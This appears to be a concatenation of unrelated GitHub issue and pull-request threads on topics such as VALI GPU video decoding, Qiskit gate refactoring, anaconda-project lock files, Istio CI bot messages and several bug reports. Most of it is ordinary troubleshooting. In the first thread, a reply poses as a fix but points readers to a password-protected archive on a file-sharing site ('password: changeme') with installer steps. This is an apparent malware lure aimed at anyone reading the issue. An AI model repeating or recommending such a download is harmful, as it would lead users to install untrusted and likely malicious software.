Error highlights on wrong line number

First off: Thank a lot for this extension, its a great tool!
Following behavior is a bit odd: When a test fails it highlights the test case function (line 43 in screenshot). I think it should show the line with the assertion that fails (line 47).

I could not figure out where the line information is passed to vscode, Maybe someone could help me there (then i might be able to fix it myself an provide a pull request)

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Handle Android 10 file system

Handle Android 10 style file intents and directories.
Previously, Android 10 implementation wasn't fully working for importing files.

@JamesSmartCell could you please elaborate?

Android team at Google refactored the way external directories are used. Apps now have designated external (user accessible) directories, and shouldn't use 'custom' directories. If Apps need to store or access eg Pictures or Downloads they need to ask for that permission separately.
We saw that Android 10 users would encounter errors if they tried to use TokenScript with custom scripts going into the AlphaWallet directory.
This PR bridges the gap between pre-10 and Android 10 phones as originally we used the /AlphaWallet directory, which we're no longer allowed to use. It ensures legacy compatibility, newer phones with 10+ have to use the OS specified external directory - easy to get to dropping in scripts via intents (ie via Telegram or other chat packages) but slightly harder to actually find it for manual drop.


Introduce request: Use one subdomain for multiple projects

Idea:
Currently I should generate certificates for each project and use something like app.project.test as domain.
It would  be good to use domains like project.magento2.test, project.magento1.test, project.laravel.test
In this case I need generate one wildcard certificate for all projects and urls looks more clear

@Den4ik I'm not sure this is somewhere I'd like to go with this project. Using domains in this way would have confusing semantics, and would result in conflicts for the domains generated for auxiliary services for things like Mailhog and RabbitMQ which both run on a per-project basis at mailhog.project.test and rabbitmq.project.test currently.
The use of a root CA to sign SSL certificates was done because by-design each project should have a separate domain name. If you're merely concerned about the manual step during setup for other devs working on the project, perhaps adopting an init script similar to this one would be a good idea (the repo this is in mirrors how I and my colleagues at Mediotype setup each Magento project to get started):
https://github.com/davidalger/warden-env-magento2/blob/develop/tools/init.sh
Appreciate the suggestion, but I'm going to go ahead and close this one out.


CUDA_ERROR_UNKNOWN: unknown error

Hi !
When i'm running this part of code:
pyDec = vali.PyDecoder(
    url,
    CONFIG_FFMPEG,
    gpu_id=0)
pkt_data = vali.PacketData()
frame_idx = 0
while True:
    #NV12 surface
    success, details = pyDec.DecodeSingleSurface(surf_nv12, pkt_data)

I have this error with this message, what does it mean ?
[h264_cuvid @ 0x558a8aac76c0] ctx->cvdl->cuvidParseVideoData(ctx->cuparser, &cupkt) failed -> CUDA_ERROR_UNKNOWN: unknown error
Error while sending a packet to the decoder. Error description: Generic error in an external library

Hi @vincentvic
That’s FFmpeg struggling to communicate to the gpu driver.
Please check if the driver is available by running nvidia-smi. If using docker make sure that you run the image with video driver capabilities.

No I do not think that it comes from the driver, because I run the exact same script with a different video and it works.
And if i re-encode the video with command it also works
ffmpeg -i <input.mp4> -c:v h264_nvenc -preset slow -crf 22 'output.mp4'

Thanks, it gives me now, a clear explanation, the pyDec.Format is in Yuv420 rather than NV12

@vincentvic
Nvdec native format is nv12, sw decoder outputs in yuv420.

Indeed, I did not find the reason why it does not work for this video for now.
Do you have any idea of what rules or compliance (h264) in can lead to the error ?
Thanks a lot

@vincentvic

Do you have any idea of what rules or compliance (h264) can lead to the error ?

If you're interested in finding out what's possibly wrong with the video, I invite you to move this topic to discussions.
However, if you need to process multitude of files in production environment, that won't be very helpful and the simplest approach would be to decode problematic videos with SW decoder. E. g. like that
# Please don't just copy-paste this code.
# It was never properly debugged and only serve as sample.

def decode_impl(py_dec, dec_frame, dec_surf, seek_once = -1):
    seek_ctx = None
    if seek_once != -1:
        seek_ctx = vali.SeekContext(seek_once)

    if py_dec.IsAccelerated:
        return py_dec.DecodeSingleSurface(dec_surf, seek_ctx)
    else:
        return py_dec.DecodeSingleFrame(dec_frame, seek_ctx)

def decode(py_dec, dec_frame, dec_surf, seek_once = -1):
    frame_idx = 0
    success = True

    if seek_once != -1:
        success, details = decode_impl(py_dec, dec_frame, dec_surf, seek_once)
        if success:
            frame_idx += 1

    while success:
        success, details = decode_impl(py_dec, dec_frame, dec_surf)
        if success:
            frame_idx += 1

    return frame_idx

py_dec = vali.PyDecoder(url, {},  gpu_id=0)
surf = vali.Surface.Make(pyDec.Format, pyDec.Width, pyDec.Height, gpu_id=0)
frame = np.ndarray(dtype=np.uint8, shape=(surf.HostSize))
curr_frame = 0

try:
    # Try to decode file as normal
    curr_frame = decode(py_dec, frame, surf)

except Exception as e:
    # Re-create decoder in SW mode, seek to last decoded frame, continue
    py_dec = vali.PyDecoder(url, {}, gpu_id=-1)
    decode(py_dec, frame, surf, curr_frame)

Hi!
I still have the same error message with this video..
[h264_cuvid @ 0x558a8aac76c0] ctx->cvdl->cuvidParseVideoData(ctx->cuparser, &cupkt) failed -> CUDA_ERROR_UNKNOWN: unknown error
Error while sending a packet to the decoder. Error description: Generic error in an external library

Is it possible that it comes from the opts parameters ?
CONFIG_FFMPEG = {
'codec': 'h264',
'hwaccel_output_format': 'cuda',
'hwaccel': 'cuda',
'ignore_editlist': 'true',
'preset': 'hq',
}
pyDec = vali.PyDecoder(url, opts=CONFIG_FFMPEG, gpu_id=0)

Hi @vincentvic
According to log message you’re still using gpu decoder. Pass gpu_id=-1 to use SW decoder instead.

`pyDec = vali.PyDecoder(url, opts=CONFIG_FFMPEG, gpu_id=-1)
print(pyDec.Format)
surf_yuv = vali.Surface.Make(format=vali.PixelFormat.YUV420, width=pyDec.Width, height=pyDec.Height, gpu_id=0)
pkt_data = vali.PacketData()
while True:
    success, details = pyDec.DecodeSingleSurface(surf_yuv, pkt_data)
    if not success:
        print(success)
        print(details)
    break`

it does not give me any information, i do not really understand the goal to pass the gpu_id to "-1"
PixelFormat.YUV420
False
TaskExecInfo.SUCCESS
3

Is it possible that it comes from the opts parameters ?
CONFIG_FFMPEG = { 'codec': 'h264', 'hwaccel_output_format': 'cuda', 'hwaccel': 'cuda', 'ignore_editlist': 'true', 'preset': 'hq', } pyDec = vali.PyDecoder(url, opts=CONFIG_FFMPEG, gpu_id=0)

@vincentvic
You don't need most of those options.
VALI will automatically choose HW decoding options, you just need to pass gpu_id.
Take a look at the decoding sample: https://github.com/RomanArzumanyan/VALI/blob/main/samples/sample_decode_show.ipynb

I test two commands with ffmpeg on the video, the first one works well, but not the second with the same error message.
ffmpeg -hwaccel cuda -c:v h264 -i input.mp4  output.mp4
ffmpeg -loglevel verbose -hwaccel cuda -c:v h264_cuvid -i input.mp4 output.mp4

@vincentvic
That's an interesting observation, but I'm not sure if it's relevant to the PyDecoder behavior.

-hwaccel cuda means 'keep decoded frames in vRAM`
output.mp4 without specifying the encoder means "guess the most relevant encoder". Most probably, ffmpeg will choose libx264 or whatever encoder it has available. So decoded frames will be kept in vRAM, then downloaded to RAM, then given to encoder.

VALI works basically like this ffmpeg -hwaccel cuda -c:v h264 -i input.mp4

If gpu_id is meaningfull, it will automatically select proper decoder accelerated by Nvdec and will keep decoded frames in vRAM as Surfaces.

Yes so it's logical that the error appear because vali will use the h264_cuvid decoder if I am refer to your screen of code ?

@vincentvic
Yes, you see same errors produced both by ffmpeg and VALI because VALI relies on ffmpeg decoder.

Sorry, last point, I notice that all videos that have a problem have metadata on the first frame with a pkt_dts egal to 1536 and a pkt_dts egal to 512. Is it a coincidence ?
I use this command to get the information
command = [             'ffprobe',             '-i', url,             '-show_entries', 'frames',             '-print_format', 'json',             '-select_streams', 'v:0',             '-read_intervals', '%+1'                     ]

@vincentvic
DTS is decode time stamp. It's the moment of time in stream time base units when the packet is to be decoded.
PTS is presentation time stamp. Similar thing but it describes the time decoded frame shall be presented to user (shown in video player etc.).
If there's a frame reordering (e. g. B frames are there), PTS and DTS of same packet may be different.
DTS shall increase monotonically and it doesn't have to start from zero.
So values of 512 and 1536 don't tell much by themselves.


Persist the commander overview filters into the url

I recognize that the date filter isn't persisted yet, but i'll fix that....soon


item-spawn bug

Hello
Problem

EnderIO machines are deleted when wrenched.
RFtools machines are deleted when wrenched.
Soulbound tinker tools are not placed inside the gravestone on death.

How to reproduce
Use Yeta wrench on a enderio machine in your claim with item-spawn set to false (default).
Use Smart Wrench on a RFTool machine in your claim with item-spawn set to false (default).

Soulbound a tinker construct tool with a netherstar
Die with a soulbound tinker construct tools and the tool is not placed inside the gravestone

None of these problems/bugs are present in griefprevention-1.10.2-<IP_ADDRESS>.
Versions
Minecraft: 1.10.2
SpongeAPI: 6.0.0-SNAPSHOT-cebc736
SpongeForge: 1.10.2-2107-6.0.0-BETA-1850
Minecraft Forge: <IP_ADDRESS>7
GP-version: griefprevention-1.10.2-<IP_ADDRESS>
Modpack: FTB Prestent Hermitpack V1.2.1

@Vauxite Please confirm this has been fixed.

Wrenched machines are fixed. But soulbound tinkertools are lost upon death (not in player inventory or gravestone).

OK I'll take a look soon.

@Vauxite The soulbound bug is a SpongeForge issue which I am currently fixing. Please re-create this ticket on SpongeForge.


Editor with grid enabled: top titles of overview page are not visible, possible clipped. Desktop browsers.

Problem
Open this url in a desktop browser: Chrome, Edge, Firefox, Safari.
https://neoneye.github.io/arc/edit.html?dataset=arc-dataset-diva&task=landport_cw_86_42_75_11
When grid is disabled, the <tr> with id task-overview-table-row0 is shown correct. It shows: 1 2 3 1.
When grid is enabled, the <tr> with id task-overview-table-row0 is not shown. It is supposed to show: 1 2 3 1. I guess it's overflowing.

It seems like calcCellSize() isn't computing a proper cell size that can fit within the visible viewport.
Solution
Debugging, tweaking.

fixed


Fix broken checker tests.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: hklai
If they are not already assigned, you can assign the PR to them by writing /assign @hklai in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

tests/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: JimmyCYJ
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: hklai
If they are not already assigned, you can assign the PR to them by writing /assign @hklai in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

tests/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Thanks for the fix!

/apporve

/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: hklai, JimmyCYJ
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

tests/OWNERS [hklai]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@hklai: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
3cce0f9a82937dc7f5e8813527876c2db7af2ed3
link
/test e2e-bookInfo-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@hklai: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
3cce0f9a82937dc7f5e8813527876c2db7af2ed3
link
/test e2e-bookInfo-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
3cce0f9a82937dc7f5e8813527876c2db7af2ed3
link
/test istio-pilot-multicluster-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

New changes are detected. LGTM label has been removed.

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: hklai, JimmyCYJ
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [hklai]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: hklai, JimmyCYJ
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:
Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@hklai: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-multicluster-e2e.sh
3cce0f9a82937dc7f5e8813527876c2db7af2ed3
link
/test istio-pilot-multicluster-e2e

prow/e2e-bookInfoTests-v1alpha3.sh
a3f60d72266db7caceaf9c48ef7c19b312dede5d
link
/test e2e-bookInfo-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


C# Code generation failure when using explicitly specified generic parameter that is user defined type.

Describe the bug
C# Code generation failure when using explicitly specified generic parameter that is user defined type.
To Reproduce
namespace Buggy {
 function DefaultT<'T>() : 'T {
   mutable arr = new 'T[1];
   return arr[0];
 }
 operation DefaultComplex() : Microsoft.Quantum.Math.Complex {
   let res = DefaultT<Microsoft.Quantum.Math.Complex>();
   return res;
 }
}

Expected behavior
Code compiles successfully.
Actual behavior
C# compiler fails with the following errors:
Bug.qs(10,20): error CS0029: Cannot implicitly convert type
'Microsoft.Quantum.Simulation.Core.QVoid' to
'Microsoft.Quantum.Math.Complex' [...]
Bug.qs(10,20): error CS1662: Cannot convert lambda expression to intended delegate
type because some of the return types in the block are
not implicitly convertible to the delegate return type [...]

System information

OS: Windows

.NET Core Version: 2.2

Long story. Looks like:
we don't know the resolved type for DefaultT during compilation (which is odd, since the Type is explicitly set) --> which is causing the code to fallback to the runtime generic implementation --> at runtime the code can't identify the Type from the arguments (there are no arguments) and so it defaults to object  --> QArray thinks object it's QVoid --> there is cast exception when a QVoid[] is returned instead of Complex[].
I would start at the beginning: figuring out why the C# code gen thinks DefaultT<Microsoft.Quantum.Math.Complex> still has open Type parameters, and take it from there. Somehwere around the SimulationCode.fs.

@vadym-kl This seems to be the same issue that was fixed with https://github.com/microsoft/qsharp-runtime/pull/88.


pigeon --classify returns no complete splice matches for bulk RNA iso-seq

Operating system
Linux
Package name
pigeon --classify command
Conda environment
What is the result of conda list? (Try to paste that between triple backticks.)

Describe the bug
no complete splice matches found in bulk RNA sequencing data (not even one).
Error message
No errors, no warnings
To Reproduce
I will share a fragment of my input (chr1) which should be sufficient to reproduce the situation (below).
Test_1002_reproduce.bam.gz
The pipeline includes standard tools: ccs; lima with --isoseq, --peak-guess; isoseq3 --refine with --require-polya; isoseq3 --cluster; pbmm2 with --present ISOSEQ, --sort ; isoseq3 --collapse with --do-not-collapse-extra-5exons; pigeon --classify; pigeon --filter
Expected behavior
Output a mix of complete splice matches, Incomplete splice matches, Novel isoforms, etc.
What could have gone wrong in the previous steps to lead to such a result? Which step caused issue? And what can I do to fix it?
This is a visual summary of pigeon output for 1 random gene (NF1):

Hi @astulaaa Are your pigeon references sorted and indexed as described in our docs? We also have references for human and mouse available here.

Closing due to inactivity


anaconda-project generates different lock files on different systems

This appears to be an issue with anaconda-project but logging it here since if effects this repo.
Setting up the examples-gallery-manage environment per the docs gets version consistent version of anaconda-project on osx, and linux-64:
$ conda list anaconda-project
# packages in environment at /home/jsandhu/miniconda3/envs/examples-gallery-manage:
#
# Name                    Version                   Build  Channel
anaconda-project          0.11.1             pyhd8ed1ab_0    conda-forge

I generated a lock file on OSX, and two Linux boxes with 3 different results - specs below:
# OSX uname -a
Darwin Jasmines-MacBook-Pro.local 22.3.0 Darwin Kernel Version 22.3.0: Mon Jan 30 20:38:37 PST 2023; root:xnu-8792.81.3~2/RELEASE_ARM64_T6000 arm64

# HP with GPUs - ubuntu 20.04:
Linux colo-hpz-01 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

# Laptop running pop-os 22.04 (similar to ubuntu 22.04 AFAICT)
Linux pop-os 6.0.6-76060006-generic #202210290932~1667401208~22.04~d2df702 SMP PREEMPT_DYNAMIC Wed N x86_64 x86_64 x86_64 GNU/Linux

Lock file generated on OSX:  anaconda-project-lock-osx.yml.txt

Lock file generated on HP Linux: anaconda-project-lock-hp-linux.yml.txt

Lock file generated on linux laptop: anaconda-project-lock-linux.yml.txt

Unsure why (2) and (3) are not the same but the lock files generated on the two linux systems successfully create envs on the two linux systems. I have not looked too deeply into the package variation between these linux systems as yet.
The hash in the lock files is the same which is a little confusing since the packages are slightly different we can see this by doing a diff.
Using the lock file generated on the Linux laptop seems to successfully create envs and start the project on all three systems.
(Use Ctrl+C to quit.)

  '/Users/jasmine/projects/examples/landsat/envs/default' doesn't look like it contains a Conda environment yet.
(Use Ctrl+C to quit.)
Value for DATA:

It is indeed the landsat project.
The different versions of conda appears to be the culprit. Thank you @AlbertDeFusco
I hadn't updated my conda versions and I see now that anaconda-project lock would use the base conda installation's API to do the solve, hence the difference, is that correct?
I updated conda to the latest on OSX, regenerated the lock file and it now passes on the CI linux instances, which is what was causing the odd failures for me previously.
Does it make sense to include a conda as a dependency in this env file: https://github.com/holoviz-topics/examples/blob/main/envs/environment.yml#L10 along with anaconda-project? Or would that lead to more issues and confusion? Or maybe document some troubleshooting tips to ensure conda version is the latest. End user should ideally use the same conda version that is being run on the CI system.

Interesting. 🤔 What version of conda was causing the problem on osx? Were you using an M1 or intel miniconda?

While the lock file that I generated on OSX w/ conda version 23.5.0 is able to create the env on linux-64 without an issue.
I'm surprised to get slightly different packages when I use the same version of conda (see conda info output below) to generate lock file on the HP linux-64 machine vs OSX-M1.
Output of diff -y anaconda-project-lock-osx-latest-conda.yml anaconda-project-lock.yml:
diff_osx-m1_hp-linux-64.txt
1. osx-m1 conda info after upgrade
(examples-gallery-manage-x) jasmine@Jasmines-MacBook-Pro landuse_classification % conda info

     active environment : examples-gallery-manage-x
    active env location : /Users/jasmine/miniconda3/envs/examples-gallery-manage-x
            shell level : 2
       user config file : /Users/jasmine/.condarc
 populated config files : /Users/jasmine/.condarc
          conda version : 23.5.0
    conda-build version : not installed
         python version : 3.10.9.final.0
       virtual packages : __archspec=1=arm64
                          __osx=13.2.1=0
                          __unix=0=0
       base environment : /Users/jasmine/miniconda3  (writable)
      conda av data dir : /Users/jasmine/miniconda3/etc/conda
  conda av metadata url : None
           channel URLs : https://conda.anaconda.org/pyviz/osx-arm64
                          https://conda.anaconda.org/pyviz/noarch
                          https://repo.anaconda.com/pkgs/main/osx-arm64
                          https://repo.anaconda.com/pkgs/main/noarch
                          https://repo.anaconda.com/pkgs/r/osx-arm64
                          https://repo.anaconda.com/pkgs/r/noarch
                          https://conda.anaconda.org/conda-forge/osx-arm64
                          https://conda.anaconda.org/conda-forge/noarch
          package cache : /Users/jasmine/miniconda3/pkgs
                          /Users/jasmine/.conda/pkgs
       envs directories : /Users/jasmine/miniconda3/envs
                          /Users/jasmine/.conda/envs
               platform : osx-arm64
             user-agent : conda/23.5.0 requests/2.29.0 CPython/3.10.9 Darwin/22.3.0 OSX/13.2.1 solver/libmamba conda-libmamba-solver/22.8.1 libmambapy/1.3.1
                UID:GID : 502:20
             netrc file : None
           offline mode : False

2. HP Linux-64 conda info after upgrade
(base) jsandhu@colo-hpz-01:~/examples/landsat$ conda info

     active environment : base
    active env location : /home/jsandhu/miniconda3
            shell level : 2
       user config file : /home/jsandhu/.condarc
 populated config files : /home/jsandhu/.condarc
          conda version : 23.5.0
    conda-build version : not installed
         python version : 3.10.8.final.0
       virtual packages : __archspec=1=x86_64
                          __cuda=11.7=0
                          __glibc=2.31=0
                          __linux=5.8.0=0
                          __unix=0=0
       base environment : /home/jsandhu/miniconda3  (writable)
      conda av data dir : /home/jsandhu/miniconda3/etc/conda
  conda av metadata url : None
           channel URLs : https://repo.anaconda.com/pkgs/main/linux-64
                          https://repo.anaconda.com/pkgs/main/noarch
                          https://repo.anaconda.com/pkgs/r/linux-64
                          https://repo.anaconda.com/pkgs/r/noarch
          package cache : /home/jsandhu/miniconda3/pkgs
                          /home/jsandhu/.conda/pkgs
       envs directories : /home/jsandhu/miniconda3/envs
                          /home/jsandhu/.conda/envs
               platform : linux-64
             user-agent : conda/23.5.0 requests/2.29.0 CPython/3.10.8 Linux/5.8.0-48-generic ubuntu/20.04.2 glibc/2.31 solver/libmamba conda-libmamba-solver/22.8.1 libmambapy/1.1.0
                UID:GID : 1007:1007
             netrc file : None
           offline mode : False

Closing as I'm pretty sure it was due to https://github.com/holoviz-topics/examples/issues/348


Feature Request: Password Rotation

Summary
Support invalidating passwords and regenerating them on a regular cadence similar to application_password
Use cases
Some requirements you'd encounter in most security-aware organizations:

Company policy requires passwords of "privileged" users/systems/accounts to be changed regularly.
Shared accounts are required to have their passwords changed whenever someone with access to it leaves or their account is suspended (for example, a precaution their laptop/phone got stolen)
Emergency (break the glass) accounts must have their password "rotated" at a regular cadence.

Proposed solution
One option would be to introduce a new resource, onepassword_item_password. This allows the password to have a distinct lifecycle from the item. Note rotate_when_changed. This method will enable us to use anything to trigger a password regeneration.
resource "onepassword_item" "example" {
  title = "Example"
  username = "bob"
}

resource "time_rotating" "example" {
  rotation_days = 1
}

resource "onepassword_item_password" "example" {
  item = onepassword_item.example.uuid
  rotate_when_changed = {
    rotation = time_rotating.example.id
  }
}

resource "dummy_user" "example" {
    hostname = "dummy.example.net"
    username = "dummy"
    password = onepassword_item_password.example.value
}

Another option would be to have a data block to generate a password like this:
resource "time_rotating" "example" {
  rotation_days = 1
}

# trying to be as close to the random_password provided by Hashicorp
data "onepassword_password" "example" {
   length           = 48
  special          = true
  rotate_when_changed = {
    rotation = time_rotating.example.id
  }
}

resource "onepassword_item" "example" {
  title = "Example"
  username = "bob"
  password = data.onepassword_password.example.value
}

resource "dummy_user" "example" {
    hostname = "dummy.example.net"
    username = "dummy"
    password = onepassword_item.example.password
}

A third would be to have rotate_when_changed on the onepassword_item resource, but this would complicate matters whenever there is more than one password in the resource.
A fourth option would be to add rotate_when_changed to the password recipe.
Is there a workaround to accomplish this today?
Resort to writing your code or scripts; call it from Terraform, which is less than ideal.
References & Prior Work
The best example of this behavior would be the application_password
of Azure Active Directory.

Thanks for raising!👍 We'll consider this for future releases!

The time_rotating resource from https://registry.terraform.io/providers/hashicorp/time/latest/docs/resources/rotating and the replace_triggered_by lifecycle attribute in a Terraform random_password resource might be a helpful workaround to bring this into Terraform.
Just replace the password resource when the time rotation resource updates, and use that value in the password. It'd be nice to use 1password's password generation logic, of course, but this generally works for me. :)


what 's wrong with the shape problem?help

(py36) root@4f5f4031e3f6:~/EDSR-PyTorch/src# ./demo.sh
Making model...
Preparing loss function:
1.000 * L1
[Epoch 0]       Learning rate: 1.00e-4
Evaluation:
0it [00:00, ?it/s]
[DIV2K x2]      PSNR: nan (Best: nan @epoch 1)
Forward: 0.54s
Saving...
Traceback (most recent call last):
File "main.py", line 33, in
main()
File "main.py", line 28, in main
t.test()
File "/root/EDSR-PyTorch/src/trainer.py", line 123, in test
self.ckp.save(self, epoch, is_best=(best[1][0, 0] + 1 == epoch))
File "/root/EDSR-PyTorch/src/utility.py", line 88, in save
trainer.loss.plot_loss(self.dir, epoch)
File "/root/EDSR-PyTorch/src/loss/init.py", line 111, in plot_loss
plt.plot(axis, self.log[:, i].numpy(), label=label)
File "/root/miniconda3/envs/py36/lib/python3.6/site-packages/matplotlib/pyplot.py", line 3363, in plot
ret = ax.plot(*args, **kwargs)
File "/root/miniconda3/envs/py36/lib/python3.6/site-packages/matplotlib/init.py", line 1867, in inner
return func(ax, *args, **kwargs)
File "/root/miniconda3/envs/py36/lib/python3.6/site-packages/matplotlib/axes/_axes.py", line 1528, in plot
for line in self._get_lines(*args, **kwargs):
File "/root/miniconda3/envs/py36/lib/python3.6/site-packages/matplotlib/axes/_base.py", line 406, in _grab_next_args
for seg in self._plot_args(this, kwargs):
File "/root/miniconda3/envs/py36/lib/python3.6/site-packages/matplotlib/axes/_base.py", line 383, in _plot_args
x, y = self._xy_from_xy(x, y)
File "/root/miniconda3/envs/py36/lib/python3.6/site-packages/matplotlib/axes/_base.py", line 242, in _xy_from_xy
"have shapes {} and {}".format(x.shape, y.shape))
ValueError: x and y must have same first dimension, but have shapes (0,) and (1,)

Hi, did you solve it ?

@justlovefish Hi, did you solve the problem?


xWindowsUpdateAgent should handle 0x80244022

0x80244022  -2145107934 WU_E_PT_HTTP_STATUS_SERVICE_UNAVAIL Same as HTTP status 503 - the service is temporarily overloaded.    wuerror.h

Wrongly closed by a PR.


Fastinfernce has no tabular attirbute

Hi. The recent version of fastai 2.1.17 started throwing a lot of errors. One of them is related to fastinference.
When I call Shap interpretation, it throws:
AttributeError: module 'fastinference' has no attribute 'tabular'

How did you install fastinference?
On Wed, Nov 25, 2020 at 6:56 AM Turgut<EMAIL_ADDRESS>wrote:

Hi. The recent version of fastai 2.1.17 started throwing a lot of errors.
One of them is related to fastinference.
When I call Shap interpretation, it throws:
AttributeError: module 'fastinference' has no attribute 'tabular'
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/muellerzr/fastinference/issues/27, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AB3YCV36NA7U7CJGVNB3WFDSRTWF3ANCNFSM4UCJP7LA
.

Related to: https://github.com/muellerzr/fastinference/issues/21

This is the installation: pip install fastinference fastinference[interp]. And I noticed that for fastai 2.1.15 it works fine. But with 2.1.7 I get an error while testing with Github Actions (fresh installation every time).
Fastai 2.1.7 throws errors:

model summary cannot be printed, again
dicom file cannot be read. (https://github.com/fastai/fastai/issues/3032)
AttributeError: module 'fastinference' has no attribute 'tabular'

The first two are unrelated, this project is separate from fastai.
You're also installing wrong, it should just be pip install fastinference[interp].
That being said there is some bugs going on so install via:
pip install git+https://github.com/muellerzr/fastinference#egg=fastinference[interp]

It worked with the dev version of fastinference. Thanks!

@muellerzr Hi. Should we clone fastinference from Github every time or it will be on PyPI soon?

Can you go ahead and try now? It seems I tried to make a release at some point but doesn't look like it went through

@muellerzr Yes, this worked with fastai 2.1.8 and  with the installation from Pypi.  Thank you.


One problem about the stargan distillation

Hello, I followed ur instruction and tried to train StarGAN student model, but got an error as follows:
Traceback (most recent call last):
  File "main.py", line 110, in <module>
    main(config)
  File "main.py", line 40, in main
    solver = Solver(celeba_loader, rafd_loader, config)
  File "solver.py", line 78, in __init__
    self.build_model()
  File "solver.py", line 96, in build_model
    self.restore_model()
  File "lit-code/stargan/solver.py", line 129, in restore_model
    self.G.load_state_dict(torch.load(G_student_path, map_location=lambda storage, loc: storage))
  File "torch/serialization.py", line 356, in load
    f = open(f, 'rb')
FileNotFoundError: [Errno 2] No such file or directory: 'stargan_models/student-G2.ckpt'

I think there are some mistakes in ur 'restore_model' function:
Does the 'resume_iters' parameter really work?
Does it need to load student model while training?
Hope for ur answering.

I used the following command line to train:
CUDA_VISIBLE_DEVICES=2 python main.py  --mode train --dataset CelebA --image_size 128  --c_dim 5 --sample_dir stargan_celeba/samples --log_dir stargan_celeba/logs --result_dir stargan_celeba/results --selected_attrs Black_Hair Blond_Hair Brown_Hair Male Young  --model_save_dir stargan_models --g_repeat_num 2
and the software versions is as follows:
pytorch  0.4.1
cudatoolkit 9.0

Great, thanks.
I also believe pytorch 1.0+ should work better.


Update Readme for Rails check example

Rails.cache.read returns nil even if the cache is failing.
https://github.com/rails/rails/blob/v<IP_ADDRESS>/activesupport/lib/active_support/cache/redis_cache_store.rb#L477-L482

Thank you


Added the Date Type.

LGTM - merging, and deleting the branch. Thanks @zuyu!

@pateljm Note that there will be some more date-type-related PRs, including operation supports and parser changes.


Stop monkeypatching standard gates and move them to circuit/gates

Fixes #591
Summary
All gates in Qiskit are currently monkey patched to the circuit class. Meaning they are defined outside of quantumcircuit.py and then added as methods by adding QuantumCircuit.mygate = mygate on module level.
This has several disadvantages, among them are that the gate only exists if the module is imported and that the gate methods are not discovered by IDEs and loose visibility in general.  This has been asked for over and over again by different users and developers.
This PR:

Tackles the monkey-patching by keeping the Gate definition in the currently used file but importing the class in quantumcircuit.py and adding the gate method in the circuit class itself
Furthermore, the standard gates are moved from qiskit/extensions/standard to qiskit/circuit/gates to make it easier for users to find the location of the gates.

Details and comments
The monkey-patching was attempted to be removed before, but wasn't due to circular import problems. This problem was caused by the fact that on importing the gates, the content of qiskit/extensions/standard was loaded. Since the submodules use the circuit class in several places, we had the import structure:
Circuit loads gates -> loads extensions/standard/__init__ -> loads submodules -> loads circuit

The submodules loaded the circuit for different reasons:

To monkey-patch the methods the circuit class must be imported (monkey-patching itself blocks the removal of monkey-patching)

For statements such as
circuit = QuantumCircuit(n)
circuit.x(0)  # etc.
self.definition = circuit.data

This can be replaced easily by populating definition directly without detour via the circuit class.

(Maybe I missed others)

The reasons above are no real blocker for removing the monkey-patching and essentially that could also be done in-place in the extensions/standard directory. However the wish to move the gates to a better named, specially dedicated gates-directory, existed (@ajavadia) and moving the gates to the new location facilitates the removal of the monkey-patching. The transformation can also be done step-by-step by migrating the gates w/o monkey-patching to the new location.
Left to do

[x] Should the other gates move to circuit/gates as well?

[x] quantum initializer: not yet, probably later to the circuit library
[x] simulator: no
Edit: Probably it makes sense to still distinguish gates/standard and gates/initializer

[x] Write proper deprecation warnings for the old locations: not really possible to deprecate imports from qiskit.extensions since the module will not be deprecated. We're going to allow imports from there, since its no overhead anyways.
[x] Import from the new location circuit/gates instead of extensions/standard

can we move the initialize to circuit library, not under gates? it is not a gate.
also we have to ways to synthesize a state prep now, one via the method in "Initialize" and one via the one in "Isometry". It would be good to be able to select between these, but not in this PR.

I think this should get it in this release along with the circuit library. However, are deprecations raised for someone who tries to import them from qiskit.extensions?

Not yet, right now it just works without complaining. I'll add a deprecation warning on module level of qiskit.extensions.standard and make sure they are not used anymore in the tests or anywhere else.

i'd say change the tests in a future PR. this gives us the assurance that all tests continue to work (possibly printing pages of warning)

